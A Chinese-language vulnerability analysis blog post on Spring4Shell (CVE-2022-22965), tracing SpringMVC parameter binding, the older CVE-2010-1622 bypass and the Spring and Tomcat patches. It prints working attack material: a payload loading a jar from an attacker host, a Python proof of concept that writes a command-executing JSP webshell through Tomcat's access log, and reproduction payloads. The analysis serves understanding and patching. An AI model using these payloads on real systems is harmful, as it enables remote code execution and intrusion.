Spring4Shell(CVE-2022-22965)漏洞分析

Spring4Shell(CVE-2022-22965)漏洞分析
  • 环境搭建

    github 上拉了一个现成的 spring + tmcat 环境:https://github.com/winn-hu/interface。可以在其中添加实验用的 model 和 controller。

  • 漏洞成因

    这次的 CVE-2022-22965 其实是 CVE-2010-1622 的绕过,由参数绑定造成的变量覆盖漏洞,通过更改 tomcat 服务器的日志记录属性,触发 pipeline 机制实现任意文件写入。

  • SpringMVC 的参数绑定机制

    演示 demo:

    HelloController.java

    @Controller  
    public class HelloController {  
        @RequestMapping("/index")  
        public String index(User user) {  
            return user.toString();  
        }  
    }

    User.java

    package com.moonflower.model;  
    ​  
    import com.moonflower.model.info;  
    ​  
    public class User {  
        public String name;  
        public String age;  
        public com.moonflower.model.info info;  
    ​  
        public User(String name, String age, com.moonflower.model.info info) {  
            this.name \= name;  
            this.age \= age;  
            this.info \= info;  
            System.out.println("调用了User的有参构造");  
        }  
    ​  
        public User() {  
            System.out.println("调用了User的无参构造");  
        }  
    ​  
        public String getName() {  
            System.out.println("调用了User的getName");  
            return name;  
        }  
    ​  
        public void setName(String name) {  
            System.out.println("调用了User的setName");  
            this.name \= name;  
        }  
    ​  
        public com.moonflower.model.info getInfo() {  
            System.out.println("调用了User的getInfo");  
            return info;  
        }  
    ​  
        public void setInfo(com.moonflower.model.info info) {  
            System.out.println("调用了User的setInfo");  
            this.info \= info;  
        }  
    ​  
        @Override  
        public String toString() {  
            return "User{" +  
                    "name='" + name + '\\'' +  
                    ", info=" + info +  
                    '}';  
        }  
    }

    info.java

    package com.moonflower.model;  
    ​  
    public class info {  
        public String QQ;  
        public String vx;  
    ​  
        public info(String QQ, String vx) {  
            this.QQ \= QQ;  
            this.vx \= vx;  
            System.out.println("调用了info的有参构造");  
        }  
    ​  
        public info() {  
            System.out.println("调用了info的无参构造");  
        }  
    ​  
        public String getQQ() {  
            System.out.println("调用了info的getQQ");  
            return QQ;  
        }  
    ​  
        public void setQQ(String QQ) {  
            System.out.println("调用了info的setQQ");  
            this.QQ \= QQ;  
        }  
    ​  
        public String getVx() {  
            System.out.println("调用了info的getvx");  
            return vx;  
        }  
    ​  
        public void setVx(String vx) {  
            this.vx \= vx;  
            System.out.println("调用了info的setvx");  
        }  
    ​  
    ​  
        @Override  
        public String toString() {  
            return "info{" +  
                    "QQ='" + QQ + '\\'' +  
                    ", vx='" + vx + '\\'' +  
                    '}';  
        }  
    }

首先尝试访问 /index?name=moonflower&info.QQ=123&info.vx=13,在执行完 toString 之后,可以看到传入的 name 自动绑定到了 user.name 上,而 info.QQ 和 info.vx 也分别自动绑定到了 user.info.QQ 和 user.info.vx 上,这也表明了 SpringMVC 支持多层嵌套的参数绑定。

image-20220408160500800

再看一下输出的内容,能看出参数的绑定先 get 后 set,而对于多层嵌套绑定(info.QQ),则是依次调用了 User.getinfo -> info.getQQ -> info.setQQ

image-20220408162537886

执行参数绑定的函数可以跟进 ServletRequestDataBinder 类中

image-20220408163212286

继续跟进到 doBind 中,发现其又调用了父类的 doBind,

image-20220408163241062

image-20220408163400974

在 applyPropertyValues 中添加参数的值

image-20220408163515488

首先调用 getPropertyAccessor 获取 BeanWrapperImpl,然后调用 setPropertyValues 赋值,在 setPropertyValues 中循环调用 setPropertyValue,为每一个 propertyname 赋值(图中已经是赋值完 QQ,开始赋值 vx)

image-20220408170046471

然后在 setPropertyValue 中持续跟进,一直到 getPropertyAccessorForPropertyPath,

image-20220408170021270

在 getPropertyAccessorForPropertyPath 中解析了即将绑定的参数(info.vx)

image-20220408170347289

再跟到 getPropertyValue 中

image-20220408170736556

在 getLocalPropertyHandler 中,BeanWrapperImpl 的方法拿到了 info 类

image-20220408170858986

继续跟到 setDefaultValue,而 setDefaultValue 又会调用 createDefaultPropertyValue 中

image-20220408172707060

在 createDefaultPropertyValue 的 newValue 中可以看到反射构造

image-20220408172906444

image-20220408173031786

这时看一下 output,发现已经打印了调用 info 的无参构造

image-20220408173111390

回到 setDefaultValue 中,接着调用里 setPropertyValue 方法,

image-20220408181529234

继续跟进到解析对应的参数,而这里解析到的是一个 info 类,

image-20220408182015937

就像刚开始说的那样,在当前要绑定的参数 (info) 无法直接赋值的时候,会进行多层嵌套的参数绑定,可以看到程序又会回到 getPropertyAccessorForPropertyPath 中,而且参数从 info.QQ 变成了 QQ,然后继续跟进,就可以看到给对应属性(QQ)的赋值操作

image-20220408184045968

在后续的 getValue 函数中,通过反射的方法调用了对应的 get 方法(getQQ),

image-20220408184639669

继续向下跟进到 setValue 中,同样也是用反射调用了对应的 set 方法,此时 output 中出现对应打印内容。

image-20220408184751205

大致流程(图来自 rui0 师傅)

image-20220408204309017

  • 关于 JavaBean

    在上面的例子中声明的类(User, info)都是 JavaBean,一种特殊的类。主要用于传递数据信息,要求方法符合某种命名规则,在这些 bean 中通常只有信息字段和存储方法,没有功能性方法。

    对于 JavaBean 中的私有属性,可以通过 getter/setter 方法来访问/设置,在 jdk 中提供了一套 api 来访问某个属性的 getter/setter 方法,也就是内省。

    BeanInfo getBeanInfo(Class beanClass)
    BeanInfo getBeanInfo(Class beanClass, Class stopClass)

    在获得 BeanInfo 后,可以通过 PropertyDescriptors 类获取符合 JavaBean 规范的对象属性和 getter/setter 方法。

    (如果用 IDEA 调过前面参数绑定的过程,就会发现在 Spring 中对 JavaBean 的操作不是用 getBeanInfo(太麻烦了),而是用 BeanWrapperImpl 这个类的各种方法来操作。BeanWrapperImpl 类是 BeanWrapper 接口的默认实现,可以看作前面提到的 PropertyDescriptor 的封装,BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。)

    demo:

    public class demo {
    public static void main(String[] args) throws Exception {
    BeanInfo userBeanInfo \= Introspector.getBeanInfo(User.class);
    PropertyDescriptor[] descriptors \= userBeanInfo.getPropertyDescriptors();
    for (PropertyDescriptor pd : descriptors) {
    System.out.println("Property: " + pd.getName());
    }
    }
    }

    程序跑起来的时候可以发现,User 的属性(name,info)及其方法都在 PropertyDescriptor 中可以拿到,

    image-20220408203023229

    但除此之外,还能拿到一个 Class 类,而且自带一个 getClass 方法。

    image-20220408203417114

    这里是因为没有使用 stopClass,访问该类的时候访问到了 Object.class,而内省机制的判定规则是,只要由 getter/setter 方法中的一个,就会认为存在一个对应的属性,而碰巧的是,Java 中的所有对象都会默认继承 Object 类,同时它也存在一个 getClass 方法,这样就解析到了 class 属性。

    如果直接调用:

    Introspector.getBeanInfo(Class.class)

    可以获取更多信息,包括关键的 classLoader。

    image-20220409104105332

  • CVE-2010-1622

    首先分析一下变量覆盖的问题,是在参数绑定的时候发生的,

    demo:

    public class UserInfo {
    private String id;
    private String number;
    private User user \= new User();
    private String names[] \= new String[]{"moonflower"};

    public String getId() {
    return id;
    }
    public String getNumber() {
    return number;
    }
    public void setId(String id) {
    this.id \= id;
    }
    public User getUser() {
    return user;
    }
    public String[] getNames() {
    return names;
    }
    }

    设置 test 路由:

    @RequestMapping(value \= "/test", method \= RequestMethod.GET)
    public void test(UserInfo userInfo) {
    System.out.println("id:"+userInfo.getId());
    System.out.println("number:"+userInfo.getNumber());
    System.out.println("class:"+userInfo.getClass());
    System.out.println("user.name:"+userInfo.getUser().getName());
    System.out.println("names[0]:"+ userInfo.getNames()[0]);
    System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
    }

    然后访问(注意[]要编码):

    /test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=moonflower&names[0]=33333

    对照一下输出的内容:

    image-20220408220253963

    Id 和 name 有 get 和 set 方法,可以正常获取;number 为空,因为没有 set 方法;class 和 classLoader 也都没有 set 方法所有赋值失败。但出乎意料的是 names 没有 get 方法但赋值成功了(33333),这时需要打个断点调一下了。

    前半部分的和前面调试参数绑定的流程相同,直到跟到 getLocalPropertyHandler 中,跟进看看内部的具体实现。

    image-20220408221939906

    这里最后调用的是 CachedIntrospectionResults.getPropertyDescriptor 这个方法(最后发现图贴错了,重新补了一张,name 换了但不是重点)

    image-20220409205948940

    在其中循环调用 buildGenericTypeAwarePropertyDescriptor,查找每个属性的 getter 和 setter,

    image-20220409103442420

    image-20220409103606480

    按照之前调试的流程,一直跟进到 setPropertyValue,参数的绑定在这里面完成

    image-20220409100130081

    在前面的 CachedIntrospectionResults.getPropertyDescriptor 中拿到了这个属性的 getter 和 setter,本应该判断是否有 setter 方法(isWriteable),然后进行参数的绑定,

    image-20220409101109119

    但是在验证 isWriteable 之前,会先判断是不是数组类型,如果是的话就直接调用 Array.set 在底层赋值。

    image-20220409101236379

    目前可公开的情报:

    1.SpringMVC 支持嵌套的参数绑定
    2.JavaBean 底层实现的时候能访问到 Object.class
    3.class 这个属性存在对应的 getter
    4.可以在没有 setter 的情况下可以修改数组变量的值

    在 tomcat 中的 WebappLoader 类继承了 URLClassLoader ,URLClassLoader 有一个方法 getURLs,可以返回一个数组。而 getURLs 方法在 TldLocationsCache 类(处理页面的 tld 标签库)中被调用,可以从 URL 数组中指定的目录去获取 tld 文件(运行远程获取)。

    结合以上信息,在 CVE-2010-1622 中,攻击者可以控制 class.classLoader.URLs[],提交参数:

    class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

    接着在渲染 jsp 页面的时候,Spring 会通过 Jasper 中的 TldLocationsCache 类从 WebappClassLoader 中读取 url 参数并用来解析 TLD 文件,其中 spring-exploit.jar里面包含修改后的 spring-form.tld,而解析 tld 的过程中允许使用 jsp 语法,那么恶意的 spring-form.tld 可以在原 /META-INF/spring-form.tld 中替换 input tag:

    <!-- <form:input/> tag -->
    <tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>

    (input tag 会根据开发人员的定义,给参数默认赋值)

    这样就指定了一个 tag 文件解析。同样,恶意的的 tag 文件也可以放在构造的 spring-exploit.jar 中

    <%@ tag dynamic-attributes="dynattrs" %>
    <%
    j java.lang.Runtime.getRuntime().exec("calc");
    %>

    经过这样的替换后,当开发者在 controller 中将任何一个对象绑定表单(一般的 web 应用中都会由),那么就可以通过构造 payload:

    ?class.classLoader.URLs[0]=jar:http://vsp/spring-exploit.jar!/

    实现远程命令执行。

    除此之外,需要是该应用启动后第一次的 jsp 页面请求即第一次渲染进行TldLocationsCache.init 才可以,否则无法将修改的 URLs 内容装载,也就无法加载我们恶意的 tld。

    漏洞修复:

    虽然是 spring 的漏洞,但 tomcat 也做了对应的修复,在 tomcat6.0.28 之后的版本把 getURLs 方法返回的值改成了 clone

    6.0.28:

    public URL[] getURLs() {
    if (repositoryURLs != null) {
    return repositoryURLs;
    }

    之后:

    public URL[] getURLs() {
    if (repositoryURLs != null) {
    return repositoryURLs.clone();
    }

    至于 spring 的修复其实在之前 debug 的过程中已经能看到了,本地用的是 4.3.5 版本,在查找属性的 getter 和 setter 的时候,对 classLoader 进行了过滤。

    image-20220409103442420

  • CVE-2022-22965

    在漏洞利用的前提中有一条有其重要,就是要使 jdk9+ 的版本(本地用 jdk11 进行调试),原因是在 java9 添加了 module 模块,而 CVE-2022-22965 就是利用了这个模块实现了 CVE-2010-1622 的绕过,但与其说是绕过,更不如说是攻击方式的拓展。

    前面提到过,getBeanInfo 能获得属性的原因是有对应的 getter,在 jdk9 以后的 java.lang.Class 中,发现 getModule 方法,

    image-20220409175251746

    在 jdk9+ 的 Class.class 中也可以看到:

    image-20220409175445837

    而在这个 module 类中,也存在一个 ClassLoader 类型的属性,并且存在对应的 getter ,

    image-20220409175554892

    image-20220409175650593

    那么现在 spring 过滤 classLoader 的修复已经是被绕过了,但在 tomcat6.0.28 之后因为 getUrls 的修复,之前的利用方式也无法使用。而在这个漏洞中 getshell 的方式和之前 Apache Struts 曾经曝出过的远程代码执行(CVE-2014-0094)相似,通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件。

    到 CVE-2014-0094 在 msf 中已经集成,看一下 poc,

    image-20220409181314079

    对应 http 报文填充的内容:

    image-20220409181405577

    不过后续是直接将 ?dump 进去

    image-20220409192648824

    image-20220409192735003

    看一下 CVE-2022-22965 的 poc,这里利用了 pattern 来写?

    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    
    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
    
        requests.post(url,headers=headers,data=data,timeout=15,allow\_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow\_redirects=False, verify=False)
        if shellgo.status\_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass
    

    其中将 url 解码后,看一下每个参数的赋值:

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    看一下每个参数在 tomcat 中对应的定义:

    directory将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。
    prefix添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。
    suffix添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。
    fileDateFormat允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会轮换(rotated)。默认值为.yyyy-MM-dd。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH。日期格式将始终使用 locale 进行本地化en_US
    pattern一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 common单词combined。有关配置此属性的更多信息,请参见下文。

    下面就是通过 debug 分析一下 poc 成功执行的原因了,先打一发 payload 过去,重点看 setPropertyValue 的过程

    image-20220409204523881

    在 getPropertyAccessorForPropertyPath 中迭代解析参数

    image-20220409204937216

    重点看每次反射获取方法时调用的 class,module 前面的之前已经调过了:

    classLoader:

    image-20220409212134080

    resources:(注意这里已经开始修改 tomcat 中的属性了)

    image-20220409212227656

    context:(这里是一个 StandardContext 的上下文)

    image-20220409212339732

    image-20220409221731986

    而 StandardContext 类继承自 ContainerBase,payload 中通过 parent 获得:

    image-20220409221922360

    到现在为止,能做到覆盖 ContainerBase 的属性了,payload 中选择了 pipeline 属性,

    image-20220409222202948

    接着是 first,first 变量是一个 Valve 类型的接口,也就是说这里能修改继承这个接口的类中的属性,

    image-20220409222528400

    最后修改了 AccessLogValve 这个类中的属性。

    image-20220409222945610

    AccessLogValve 用来记录访问日志 access_log。Tomcat 的 server.xml 中默认配置了 AccessLogValve,所有部署在 Tomcat 中的 Web 应用均会执行该 Valve。对照前面 tomcat 对其中属性的定义,已经可以控制日志后缀名,文件名称,存放位置等属性。(在 server.xml 中定义)

    image-20220409223937023

    本来 log 内容以 pattern 的格式填充,而 payload 中直接进行了覆盖,从而写进去了?。

    还有一个问题就是为什么要加一个 fileDateFormat,目的是触发 tomcat 切换日志。看一下 AccessLogValve 的 rotatable 属性。

    image-20220409225312259

    用于确定是否应发生日志轮换的标志。如果设置为 false,则永远不会轮转此文件并忽略 fileDateFormat。默认值:true

    意思就是说,当这个值为 true 的时候,tomcat 会根据时间的变换而自动生成新的文件,避免所有的日志从 tomcat 运行开始都写在一个文件中。如下:

    image-20220409225714380

    再看一下执行这个过程的代码实现:

    image-20220409225856012

    其中 fileDateFormat 的初始化:

    image-20220409230028127

    那么如果在程序运行时把 fileDateFormat 改为空,就会导致 toDate 为空,进入 if 语句并打开新的 log 文件。

    跟进一下 open 的实现流程,也能和前面传入的属性对应。

    image-20220409230426709

    到现在已经实现了任意文件的写入,但是要写?的话还是有些问题要解决。

    在 tomcat 的比较新的版本中,无法在 URL 中携带 <{ 等特殊字符,但在 AccessLogValve 的输出方式支持 Apache HTTP Server 日志配置语法模型,可以通过占位符写入特殊字符。

    %{xxx}i 请求headers的信息
    %{xxx}o 响应headers的信息
    %{xxx}c 请求cookie的信息
    %{xxx}r xxx是ServletRequest的一个属性
    %{xxx}s xxx是HttpSession的一个属性

  • 漏洞复现

    github 上拉一个:https://github.com/fengguangbin/spring-rce-war

    把 stupidRumor_war.war 放到 tomcat 的 webapps 中,试一下任意文件写入:

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D%3A%5Cenvironment%5Capache-tomcat%5Capache-tomcat-8.5.73%5Cwebapps%5Ctmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    image-20220409233845110

    但是这个 payload 还是存在一些问题,首先是初次写入后无法修改写入文件的位置,然后就是每次访问都会向?中添加内容(图中的两个 success)。

    根据我们前面的分析,出现这种情况的原因是没有触发 rotata,因为两次传入的 fileDateFormat 都为空,equal 的时候自然就会相等,从而无法生成新的日志。

    解决方法就是如果要修改?的位置,让 fileDateFormat 和上次不一样就行,可以通过 "fileDateFormat + prefix".jsp 的格式拼接出文件名。

    而对于重复添加内容,可以在 webshell 末尾添加 <!-- 把后面的内容注释掉。

  • 利用限制

    • JDK9 或以上版本系列(存在 module 属性)
    • Spring 框架或衍生的 SpringBoot 等框架,版本小于 v5.3.18 或 v5.2.20(支持参数绑定机制)
    • Spring JavaBean 表单参数绑定需要满足一定条件
    • 以 war 包的形式部署在 Tomcat 容器中,且日志记录功能开启(默认状态)

    漏洞利用的关键点是利用 module 属性加载 org.apache.catalina.loader.ParallelWebappClassLoader 这个 classLoader,image-20220408220253963

    将利用链的挖掘转移到了 tomcat 中,再通过修改其中的一系列属性 getshell。

    但如果 web 应用是以 jar 包的形式部署(比较常见),那么 classLoader 就会被解析成 org.springframework.boot.loader.LaunchedURLClassLoader,无法继续利用 tomcat 的属性。

  • 补丁分析

    Spring(5.3.18):

    image-20220410001554413

    直接用白名单,对于 class 只能获取以 name 结尾的属性,比起之前的黑名单算是修的比较彻底了。

    Tomcat(9.0.62):

    image-20220410001802378

    十分彻底 ,getResouces 直接返回 null,后续的链就都断了。

  • 参考文献

  • 发表于 2022-04-22 09:33:12
  • 阅读 ( 7605 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
moon_flower
moon_flower

2 篇文章

站长统计